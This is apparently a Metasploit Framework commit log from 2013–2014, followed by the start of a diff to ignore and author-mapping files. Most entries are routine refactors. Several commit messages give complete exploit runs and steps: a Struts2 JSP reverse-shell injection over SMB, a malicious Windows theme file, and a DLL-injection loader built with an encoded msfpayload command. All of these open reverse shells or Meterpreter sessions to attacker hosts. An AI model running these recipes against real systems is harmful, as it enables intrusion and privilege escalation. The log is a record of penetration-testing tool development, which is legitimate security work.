Sean Verity 6661e1a5a4 De-committing based on suggestions from Meatballs1 and jlee-r7. 2014-08-17 20:37:06 -04:00
Lutzy 1102fff311 Add option to store all captured images
Added "-a" option that will store all images captured so they can be looked at later/converted to a video.
2014-08-14 20:35:51 -05:00
Sean Verity 3fd76105db msftidy'd 2014-08-08 22:03:51 -04:00
Sean Verity c5e452c866 Patches UA and PROXY in metsrv when running migrate 2014-08-08 21:48:02 -04:00
aczire 6028c6b053 Updated as per Juan Vazquez's comments. 2014-08-05 09:57:23 +05:30
aczire 4674089fca Updated as per Juan Vazquez's comments. 2014-08-05 09:49:59 +05:30
Thomas Ring 37f159d80a corrections based on feedback 2014-07-09 09:54:04 -05:00
Thomas Ring 10713dd440 New module to build wordlist for use by JtR, oclhashcat, etc generated by pulling info from multiple Active Directory fields 2014-07-08 16:09:48 -05:00
Jonathan Claudius 3a100e006e Make retries configurable 2014-07-07 21:05:14 -04:00
Jonathan Claudius 056fc149d5 Move Cisco ASA SSL VPN Esc to Aux 2014-07-07 21:00:43 -04:00
Meatballs ef0826c319 Fix bugs 2014-07-04 20:46:50 +01:00
Meatballs 05c9757624 Merge in #3488 2014-07-04 20:37:09 +01:00
Jonathan Claudius 186d20b0ed Remove MetaSSH requirements 2014-06-12 21:59:40 -04:00
aczire 043ce5ab0e Updated credentials reported supporting WebUI
Previously used Rex::Ui::Text::Table to report credentials does not rendered nicely msf web ui.
2014-06-08 22:25:20 +05:30
aczire 9a3af63ba4 updated with msfidy comments
Made msftidy complaint.
2014-06-08 17:44:46 +05:30
aczire b9b386f200 Updated module name and description.
Updated module name, removing the term CSRF. 
Updated module description quoting the nature of vulnerability as "Direct Request", CWE-425.
Updated module to report the discovered credentials.
2014-06-08 17:29:40 +05:30
Meatballs 936c7088ad Merge branch 'master' into psexec_refactor_round2
Conflicts:
	lib/msf/core/exploit/smb/psexec.rb
	modules/exploits/windows/smb/psexec.rb
2014-06-07 13:38:30 +01:00
aczire fe2f190e65 Updated send_request_raw with default timeout value. 2014-06-05 00:18:52 +05:30
Meatballs f6e857030a Remove duplicate defines 2014-05-25 09:40:33 +01:00
Meatballs d77cb179a8 Fix return yarddoc 2014-05-23 21:16:11 +01:00
Meatballs 678104cdd6 Remove trailing slash 2014-05-23 20:48:56 +01:00
Meatballs 8aa2df1924 Fixup yarddoc 2014-05-23 20:47:52 +01:00
Meatballs 778138b0dc Refactors
Add a Rex::Constants::Windows module to hold windows constants
Convert DCERPC_SERVICES to a class and move to Rex
2014-05-21 20:15:32 +01:00
aczire 460bf5c336 Update huawei_wifi_info.rb 2014-05-15 22:20:59 +05:30
Meatballs 0db22c5c57 Use library method 2014-05-05 13:24:33 +01:00
Meatballs c474ff4465 Merge remote-tracking branch 'upstream/master' into extapi_service_post
Conflicts:
	modules/exploits/windows/local/service_permissions.rb
	modules/post/windows/manage/rpcapd_start.rb
2014-05-05 13:19:25 +01:00
Matthew Hall d8bc180f04 Fix check detection
Remove checks for specific Tomcat versions, instead checking whether a
stacktrace is returned when requesting
?Class.classLoader.resources.dirContext.cacheObjectMaxSize with invalid
arguments.

Tested against Tomcat 6 and Tomcat 7 with Struts 2.3.16.1
2014-05-01 16:12:25 +01:00
Matthew Hall e8f46f97e1 Remove bin_to_hex function and replace with Rex::Text.to_hex 2014-05-01 15:42:04 +01:00
Matthew Hall 187e7e4b5e Add CVE-2014-0094 RCE for Struts2 using JSP injection over SMB
This commit adds an exploit for the Struts2 RCE utilising the Rex
SMBFileServer Protocol support to deploy a JSP shell over SMB.

```
resource (test4.msf)> use exploits/windows/http/struts_http_jspinject
resource (test4.msf)> set VERBOSE true
VERBOSE => true
resource (test4.msf)> set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
resource (test4.msf)> set URI /struts2-blank/example/HelloWorld.action
URI => /struts2-blank/example/HelloWorld.action
resource (test4.msf)> set SHARE share
SHARE => share
resource (test4.msf)> set JSP /example/HelloWorld.jsp
JSP => /example/HelloWorld.jsp
resource (test4.msf)> set SRVHOST 172.31.6.41
SRVHOST => 172.31.6.41
resource (test4.msf)> set RHOST 172.31.6.245
RHOST => 172.31.6.245
resource (test4.msf)> set RPORT 8080
RPORT => 8080
resource (test4.msf)> set LHOST 172.31.6.41
LHOST => 172.31.6.41
resource (test4.msf)> set LPORT 4444
LPORT => 4444
resource (test4.msf)> exploit
[*] Started reverse handler on 172.31.6.41:4444
[*] Generating our malicious jsp...
[*] About to start SMB Server on: \\172.31.6.41\share for
/example/HelloWorld.jsp
[*] Starting SMB Server on 172.31.6.41:445
[*] Injecting JSP to 172.31.6.245:8080 -
/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.dirContext.docBase=//172.31.6.41/share
[*] 172.31.6.245:8080 - JSP payload uploaded successfully
[*] Command shell session 1 opened (172.31.6.41:4444 ->
172.31.6.245:1146) at 2014-05-01 12:09:25 +0100

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Apache Software Foundation\apache-tomcat-7.0.53\bin>
```

1. Install Tomcat 7.0.53
2. Download and unpack Struts 2.3.16.1 (http://www.mirrorservice.org/sites/ftp.apache.org//struts/binaries/struts-2.3.16.1-all.zip)
3. Deploy struts-2.3.16.1/apps/struts2-blank.war through Tomcat Manager interface
4. use exploits/windows/http/struts_http_jspinject
5. set PAYLOAD java/jsp_shell_reverse_tcp
6. set URI /struts2-blank/example/HelloWorld.action
7. set SHARE share
8. set JSP /example/HelloWorld.jsp
9. set SRVHOST
10. set RHOST
11. set RPORT 8080
12. set LHOST
13. set LPORT 4444
14. exploit
15. Enjoy shells

- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploits/windows/http/struts_http_jspinject

Tomcat 7.0.53 & Struts 2.3.16.1
2014-05-01 12:31:41 +01:00
Matthew Hall ff14cf9bfb Implement QUERY_FILE_INFO_NETWORK SMB command
This commit adds support for the TRANS2 request 'query file info
network' (smb_cmd_trans_query_file_info_network) used in some SMB client
requests. This adds specific support for functions used by Apache Tomcat
in the Struts2 JSP injection exploit (CVE-2014-0094).
2014-05-01 12:23:31 +01:00
Matthew Hall f72d54b9df Refactor ms13_071_theme to utilise Msf::Exploit::Remote::SMBFileServer
This commit refactors the ms13_071_theme module written by @jvazques-r7
to utilise the Rex SMBFileServer protocol and remove duplicate code from
Metasploit.

```
[*] Processing test3.msf for ERB directives.
resource (test3.msf)> use exploits/windows/fileformat/ms13_071_theme
resource (test3.msf)> set VERBOSE true
VERBOSE => true
resource (test3.msf)> set SHARE share
SHARE => share
resource (test3.msf)> set SCR exploit.scr
SCR => exploit.scr
resource (test3.msf)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (test3.msf)> set LHOST 172.32.255.1
LHOST => 172.32.255.1
resource (test3.msf)> set SRVHOST 172.32.255.1
SRVHOST => 172.32.255.1
resource (test3.msf)> set LPORT 4444
LPORT => 4444
resource (test3.msf)> exploit
[*] Started reverse handler on 172.32.255.1:4444
[*] Generating our malicious executable...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /root/.msf4/local/msf.theme
[+] Let your victim open msf.theme
[*] Starting SMB Server on: \\172.32.255.1\share\exploit.scr
[*] Starting SMB Server on 172.32.255.1:445
[*] Sending stage (769536 bytes) to 172.32.255.129
[*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.129:1096) at 2014-04-30 12:05:46 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

1. use exploits/windows/fileformat/ms13_071_theme
2. set payload windows/meterpreter/reverse_tcp
3. set LHOST
4. set SRVHOST
5. exploit
6. Copy msf.theme to target
7. Open theme and navigate to "Screensaver" tab
8. Enjoy shells

- [ ] Land #3074
- [ ] Land #3075
- [ ] Run exploits/windows/fileformat/ms13_071_theme
- [ ] Let target open malicious msf.theme file

* Windows XP SP3
2014-04-30 12:14:58 +01:00
Matthew Hall b899504580 Bugfixes and additional protocol support for extra FIND_FIRST2 functions
These additions queue up support for the SMB functions used by the
ms13_071_theme expoit developed by Juan Vazquez, including support for
the FIND_FIRST2 functions:
 * Find File Both Directory Info
 * Find File Names Info

Additionally this commit fixes a few bugs in how the client SMB payload
is handled to determine whether a file, directory or "not found"
response needs to be returned and allows metasploit to serve arbitrary
files directly over SMB in addition to files being loaded in runtime
processes calling "LoadLibrary".
2014-04-30 11:58:34 +01:00
Jonathan Claudius e7d381900b Add logout page verification 2014-04-28 20:50:46 -04:00
Jonathan Claudius 9b1222d54b Change to verbose output 2014-04-28 20:45:21 -04:00
Jonathan Claudius e43010715b Use vars_get for params 2014-04-28 20:42:50 -04:00
Jonathan Claudius 7b0ae98003 Reformat and #include? changes 2014-04-28 20:06:29 -04:00
Jonathan Claudius 72c9c916ec Remove dead code 2014-04-27 21:24:54 -04:00
Matthew Hall eb8add5806 Bugfix: Usage of data store OptStrings was incorrect. 2014-04-27 12:49:31 +01:00
Matthew Hall a5492965bb Add SMB DLL Injection Server
This is an implementation of using the SMBFileServer mixin to perform
DLL injection over SMB.

Exploitation can be performed by starting the dllinjector exploit
which will remain resident until a DLL is downloaded and a session
created. By generating an executable using the windows/loadlibrary
payload it is possible to test the SMBServer mixin on various platforms,
but also serves as a novel injection method where LoadLibrary calls are
not being filtered by Antivirus or EMET.

Example Run
```
 # msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp SHARE=share DLL=exploit.dll LHOST=172.32.255.1 LPORT=4444 SRVHOST=172.32.255.1 E
 [*] Initializing modules...
 PAYLOAD => windows/meterpreter/reverse_tcp
 SHARE => share
 DLL => exploit.dll
 LHOST => 172.32.255.1
 LPORT => 4444
 SRVHOST => 172.32.255.1
 [*] Started reverse handler on 172.32.255.1:4444
 [*] Generating our malicious dll...
 [*] Starting SMB Server on: \\172.32.255.1\share\exploit.dll
 [*] Sending stage (769536 bytes) to 172.32.255.128
 [*] Meterpreter session 1 opened (172.32.255.1:4444 -> 172.32.255.128:1186) at 2014-04-24 11:18:55 +0100
 meterpreter > getsystem
 ...got system (via technique 1).
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
```

Reproduction Steps
* Generate dllinjector executable (non-malicious)
```
msfpayload windows/loadlibrary DLL="\\\\1.2.3.4\\share\\exploit.dll" R | msfencode -b '\x00' -t exe -x calc.exe -k -o dllinjector.exe -e x86/shikata_ga_nai -c 3
```
* Run DLL Injection server
```
msfcli exploits/windows/smb/dllinjector PAYLOAD=windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=4444 SRVHOST=1.2.3.4 SHARE=share DLL=exploit.dll E
```
* Execute dllinjector.exe on the target host
* Monitor the generated traffic in Wireshark
* Enjoy shells.

Verification
Land #3074
Land #3075
Generate loadlibrary executable
Load dllinjector with payload
Run executable on target

Tested on:
Windows 7 (x86/x64)
Windows Server 2003
Windows Server 2008
2014-04-24 11:05:46 +01:00
Jonathan Claudius 4ca11c089a Adds Cisco SSl VPN Privilege Escalation exploit 2014-04-22 21:19:21 -04:00
Meatballs 48a88c91d9 Aux doesn't have rand_text_alpha 2014-04-05 19:28:35 +01:00
Meatballs 5fccf986f8 Catch ACCESS_DENIED 2014-04-05 19:11:29 +01:00
Meatballs 2c9209f8b1 Auto persist 2014-04-05 18:50:49 +01:00
Meatballs fd7f35d8b2 Moar constants 2014-04-05 18:38:12 +01:00
Meatballs ae8d08c793 Handle request timeout 2014-04-02 23:36:40 +01:00
Meatballs e76caccea0 Handle existing service names 2014-04-02 23:16:58 +01:00
Meatballs fde4a3ea0a Get it all working... 2014-04-02 22:52:07 +01:00
Meatballs 54cf1ba157 Use dcerpc_services 2014-04-02 22:41:31 +01:00
Meatballs 3a2049e673 Fixup open sm 2014-04-02 21:34:36 +01:00
Meatballs f55d78cbe8 Pull in @jtesta's DCERPC Services work 2014-04-02 21:21:45 +01:00
Meatballs 410b1c607f Refactor to new psexec style 2014-04-02 21:16:19 +01:00
Meatballs ca2fb3da65 Merge branch 'master' into psexec_refactor_round2
Conflicts:
	lib/msf/core/exploit/smb/psexec.rb
	modules/exploits/windows/smb/psexec.rb
2014-04-02 21:01:45 +01:00
OJ cceb146680 Support for the new ADSI result structure 2014-04-02 17:37:23 +10:00
pyoor b3f7447e53 Merge pull request #1 from jlee-r7/land-2985-pandorafms-sqli
Improvements for PandoraFMS SQLi module
2014-03-28 18:32:13 -04:00
OJ 685d959886 Support refactors of TLVs and adsi nested group changes 2014-03-27 15:49:22 +10:00
Meatballs 9ee13afe6a Catch file not found 2014-03-19 14:08:52 +00:00
Meatballs c78a6b36b6 Remove service 2014-03-19 14:02:36 +00:00
Meatballs d3992773ed Use error codes to give more feedback 2014-03-19 14:00:23 +00:00
Meatballs 8082c19469 Allow servicename/displayname to be set
Tidyup psexec some more
2014-03-19 13:16:14 +00:00
Meatballs 16a553937b Allow passing of servicename etc 2014-03-19 12:46:41 +00:00
Meatballs 71818b59d1 Check for a valid handle
If service already exists open a handle.
If we have a valid handle ensure we try and close it.
2014-03-19 12:44:31 +00:00
Meatballs fcc5cfb155 Dont rescue Exception 2014-03-19 12:05:58 +00:00
Matthew Hall c1db8e260f Add yardoc documentation for the SMBFileServer Class 2014-03-12 17:28:18 +00:00
Matthew Hall eaf908c388 Add example usage to Msf::Exploit::Remote::SMBFileServer documentation 2014-03-12 17:07:27 +00:00
Matthew Hall fe02ba5f55 Add yardoc documentation for Msf::Exploit::Remote::SMBFileServer 2014-03-12 17:06:06 +00:00
Matthew Hall 0f259d3032 Tidy lib/rex/proto/smb/server.rb following feedback from jlee-r7
* Remove redundant ServerClient class
 * Use dlog/elog/ilog instead of printing to $stdout
2014-03-12 15:41:21 +00:00
Matthew Hall c6d92796e6 Clean with msftidy.rb 2014-03-12 10:06:02 +00:00
Matthew Hall 88d06c6c1d Tidy lib/msf/core/exploit/smb.rb following feedback from jlee-r7.
* Doc comments wrap at 78 chars to follow yardoc convention
 * Remove unused :server and SERVER vals
 * Use Utils class directly
 * Stop server within an ensure
 * Change SRVHOST to an OptAddress
2014-03-12 09:54:54 +00:00
Matthew Hall 019056d75f Generic HTTP DLL Injection Exploit Module
This is an example implementation of using the
Msf::Exploit::Remote::SMBFileServer module to perform
arbitrary DLL injection over SMB.
2014-03-07 15:09:45 +00:00
Matthew Hall 88df736df7 Implement SMBFileServer mixin.
In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.

This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.

Utilising the module (example):
 include Msf::Exploit::Remote::SMBFileServer
 exe = generate_payload_dll
 @exe_file = rand_text_alpha(7) + ".dll"
 @share = rand_text_alpha(5)
 my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
 Rex::Socket.source_address : datastore['SRVHOST']
 @unc = "\\#{my_host}\#{@share}\#{@exe_file}"
 start_smb_server(@unc, exe, @exe_file)
 // Inject DLL
 handle

A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb
2014-03-07 15:07:25 +00:00
Matthew Hall d380435113 This commit adds support for implementing the SMBFileServer Module
within Rex, allowing exploit modules to create a payload to be sent
to an SMBFileServer instance. This can be useful in cases where
you would find DLL injection in an system which will read files
over a UNC share, or other instances where a payload can be delivered
over SMB.

This code borrows heavily from the ms13_071_theme module written
by Juan Vazquez, however I have performed a fair amount of protocol
analysis and debugging to provide support for delivering an arbitrary
MSF payload over UNC.
The main differences being the presence of functions to support:
 -SMB CMD Trans Query Path Info (Basic and Standard)
 - SMB CMD Trans Query File Info (Standard and Internal)

This code can be considered "alpha", as I have only implemented support
for the SMB functions discovered during development of an exploit of an
arbitrary DLL injection into a server performing a "LoadLibraryA" call.*
However, this provides a basis upon which additional SMB functions can
be implemented to extend delivery of payloads over SMB.

A separate commit will expose the SMBFileServer Module within
./lib/msf/core/exploit/smb.rb

* This exploit will be committed separately once a fix has been confirmed
by the vendor.
2014-03-07 15:00:45 +00:00
somename11111 99cd36c036 Fix description of Input 2014-03-06 03:16:55 +01:00
somename11111 689523a26f Clean Code based on jlee-r7's comments
- Put allocations in loop

- Decomment exitfunc

- Aligned comments

- Some more code cleaning
2014-03-06 02:44:24 +01:00
somename11111 83929facc4 Fix bug on Windows XP
Correct the addresses of functions in pstorec.dll.

Successfully tested on Server 2003 and XP.
2014-03-06 02:35:44 +01:00
somename11111 4aca648faf Correct file information 2014-03-06 02:35:36 +01:00
somename11111 ba31e304b5 Clean the code
Remove debugging functions from block_get_pstore_proxy_auth.asm.
Reduce allocation size to 1kB.
2014-03-06 02:35:25 +01:00
somename11111 b6b46abe9f Add new stager stager_reverse_http_proxy_pstore
This stager looks for proxy credentials in windows protected storage. If it finds proxy credentials, it will use them to connect back. If it does not find credentials, it will do the same as stager_reverse_http.

Works on:

- Windows Server 2003

- Windows XP

- Internet Explorer versions 4 to 6
2014-03-06 02:35:12 +01:00
James Lee d1ea74c5fa Make the password hash stand out as more important 2014-03-04 15:08:47 -06:00
James Lee 9a403bf630 Also extract admin hash if password auth failed 2014-03-04 14:55:47 -06:00
James Lee 423477bc52 auth_succeeded? is a better name for this method 2014-03-04 14:55:47 -06:00
James Lee 917b09086b Pull the copy-pasted verification into a method 2014-03-04 14:55:47 -06:00
James Lee 4cfda88bad Pull the copy-pasted sqli into a method 2014-03-04 14:55:47 -06:00
Meatballs1 a2719d2393 Merge pull request #41 from jlee-r7/merge-2766
Add Post::Windows::Services#each_service
2014-02-19 00:49:45 +00:00
James Lee 4c557a1401 Add Post::Windows::Services#each_service
Also cleans up some style issues and adds yardoc comments for some stuff
in Post::File

Note that windows/local/service_permissions is still using
`service_list` because it now builds a Rex::Table, which has to have
all the data up front, anyway.
2014-02-18 18:24:23 -06:00
James Lee 684c45a5ff Merge remote-tracking branch 'upstream/pr/2766' into merge-2766 2014-02-18 17:36:13 -06:00
pyoor faae51f39e Implemented @jlee-r7 requested changes 2014-02-17 10:13:18 -05:00
pyoor ca15d2d8e7 Added Pandora FMS RCE and SQLi module 2014-02-12 12:02:33 -05:00
Meatballs d0031c2ffa change_startup can now be run remotely 2014-01-03 16:25:15 +00:00
Meatballs 22163a5096 Tidy change_startup 2014-01-03 16:02:10 +00:00
Meatballs c426946886 Final tidyups 2014-01-03 15:55:03 +00:00
Meatballs ab4c07c72a Remove post/persist - it is past depreciation date 2014-01-03 15:45:40 +00:00
Meatballs 9028060f7d Refactor service_create 2014-01-03 15:44:59 +00:00
Meatballs 5adc9e93f4 Merge remote-tracking branch 'upstream/master' into extapi_service_post 2014-01-03 14:39:55 +00:00
Meatballs 1dacab6c03 service_restart should allow start_type to be defined 2013-12-18 12:17:24 +00:00
Meatballs c3aee714af shadowcopy should use service_restart 2013-12-18 12:12:34 +00:00
Meatballs 0e33fc40a2 Remove duplicate test services 2013-12-18 11:56:24 +00:00
Meatballs 0be6350360 rpcapd_start should use service_restart 2013-12-18 11:54:15 +00:00
Meatballs 42bc5ab75f Use Services calls in enable_rdp
Update calls to change_service_config to check success
2013-12-18 11:34:12 +00:00
Meatballs 11ea66996c Check for nil values 2013-12-18 11:15:52 +00:00
Meatballs 55a5a7e032 Fix typo 2013-12-18 11:06:03 +00:00
Meatballs 0327d2ba53 Fix deprecated date 2013-12-18 00:09:33 +00:00
Meatballs bce7fab2cd Fixup IKEEXT 2013-12-18 00:08:01 +00:00
Meatballs 0bac2415ca Some post testing fixes
Also deprecate net escalate as it is covered by service_permissions
as a generic exploit
2013-12-18 00:00:14 +00:00
Meatballs 67cb5dad27 Fixes after testing 2013-12-17 23:47:58 +00:00
Meatballs 067e6d89bb Use service_restart in IKEEXT and ServicePermissions
Service_restart is aggressive so should attempt to leave as Auto
2013-12-17 17:21:35 +00:00
Meatballs 73d978d5f6 Add some negative tests 2013-12-17 15:24:27 +00:00
Meatballs 41a00101b0 Add change_config test 2013-12-17 14:18:26 +00:00
Meatballs ba335d6c91 Update Service Tests
And small fixes
2013-12-17 14:03:19 +00:00
Meatballs 70caacd631 Corrections to service_handle 2013-12-17 12:21:20 +00:00
Meatballs ca90815fb3 Ensure all handles are closed
And stop repeating the adv definition
2013-12-17 12:15:59 +00:00
Meatballs c2dd174e3c Merge remote-tracking branch 'upstream/master' into extapi_service_post 2013-12-17 01:54:24 +00:00
Meatballs a33721f444 service_change_config keys should match extapi 2013-12-17 01:48:09 +00:00
Meatballs 101e5a8ccf Tidyup trusted_service_path
Use filedropper, use service exe, dont migrate
2013-12-17 01:46:45 +00:00
Meatballs 484bf2f8fc close_service_handle 2013-12-17 01:02:35 +00:00
Meatballs 560080fa21 Update start_service return value
Add service_restart
2013-12-17 00:43:35 +00:00
Meatballs f39bc0b07a Update service_stop return 2013-12-17 00:22:37 +00:00
Meatballs f58a26033a Add missing underscore 2013-12-17 00:10:15 +00:00
Meatballs 19c2ac9a6b Fix duplicate error 2013-12-17 00:09:58 +00:00
Meatballs 45a03cc805 Use Error mixin 2013-12-17 00:03:10 +00:00
Meatballs d82f993a02 Merge branch 'windows_error_constants' into extapi_service_post
Conflicts:
	lib/msf/core/post/windows.rb
2013-12-17 00:01:06 +00:00
Meatballs 2fafdcbb89 Use railgun string constants
Remove unnecessary constants
Bit of tidying
2013-12-16 23:59:51 +00:00
Meatballs 8e88b63ccb Organise service constants
Try to establish some sanity to file...
2013-12-16 23:59:14 +00:00
Meatballs fd19881433 Docs 2013-12-16 19:39:36 +00:00
Meatballs 5be9622782 Tidy and constants 2013-12-16 18:35:24 +00:00
Meatballs 87fe6ecfaa Fixup modules 2013-12-15 18:43:55 +00:00
Meatballs f10a35ed08 Use :display correctly 2013-12-15 18:28:29 +00:00
Meatballs cd837ebe16 ikeext_service service_info fixup 2013-12-15 18:28:06 +00:00
Meatballs c89b7cb4ee nvidia_nvsvc service_info fixup 2013-12-15 18:20:25 +00:00
Meatballs 375103b930 trusted_service_path service_info fixup 2013-12-15 18:15:48 +00:00
Meatballs 577adcef27 enum_services service_info fixup 2013-12-15 18:13:12 +00:00
Meatballs 6d5aefd620 rpcapd_start service_info fixup 2013-12-15 18:09:57 +00:00
Meatballs bcde06bfc7 net_runtime service_info fixup 2013-12-15 18:06:32 +00:00
Meatballs 7d7495a5dd Large refactor of service_permissions 2013-12-15 18:00:14 +00:00
Meatballs c97e8d3817 Return hash for service_info and use ErrorMessage 2013-12-15 17:59:57 +00:00
Meatballs ca4e35d949 Use ErrorMessage in check_dir_perms 2013-12-15 17:57:51 +00:00
Meatballs 8c800b8596 check_dir_perms fix return nil 2013-12-15 17:18:32 +00:00
Meatballs fe7852b524 Unworking refactor of serv_perm 2013-12-15 04:02:11 +00:00
Meatballs 2a819d4b08 Tidyup trusted_Path
We dont just want to escalate to SYSTEM it would be handy to know
if we can escalate to anything e.g. Domain logins etc.
2013-12-15 04:01:02 +00:00
Meatballs d9ce80d4d0 Add service_change_config 2013-12-15 04:00:27 +00:00
Meatballs d71e67e5f4 Rename file should return some indication of success 2013-12-15 03:28:28 +00:00
Meatballs ddf23ae8e8 Refactor service_list to return array of hashes
Update trusted_service_path, service_permissions,
net_runtime_modify and enum_services to handle change.

Refactor enum_services to tidy it up a bit
2013-12-15 03:00:29 +00:00
Meatballs 6763d1fbd8 Refactor services for extapi 2013-12-15 02:09:25 +00:00
Meatballs be68a64f9b Remove wmic reference 2013-12-15 02:09:07 +00:00
Meatballs 77dd7ec290 Include ExtAPI Mixin
Move ExtAPI above services require
2013-12-15 01:32:58 +00:00
rcnunez 9d50a7da85 Pandora Authentication Bypass and File Upload Exec 2013-12-03 21:23:56 +08:00
aczire 49f2cf07af added huawei SOHO router information disclosure and csrf, cve-2013-6031 2013-11-20 23:09:41 +05:30
Sean Verity 911e9dcb54 Made some final touches. Ready for review. 2013-07-26 16:07:20 -04:00
Sean Verity 7bbdc8c0dc Couple of minor fixes and steps towards payload cleanup. 2013-07-25 21:37:17 -04:00
Sean Verity b362ae8ae3 Using Meatballs1's first suggestion. Not quite there...but it's better. 2013-07-25 17:41:05 -04:00
Sean Verity 418bbd2db4 Shameless variation (ripoff) on sinn3r's mysql_mof.rb module. 2013-07-24 23:14:13 -04:00
1934 changed files with 93376 additions and 27177 deletions
+5 -11
View File
@@ -67,19 +67,13 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,
# check out Metasploit Pro: http://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
# Avoid checking in metakitty, the source for
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty
+46 -13
View File
@@ -1,30 +1,45 @@
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -34,10 +49,13 @@ wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
# let todb@metasploit.com know.
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
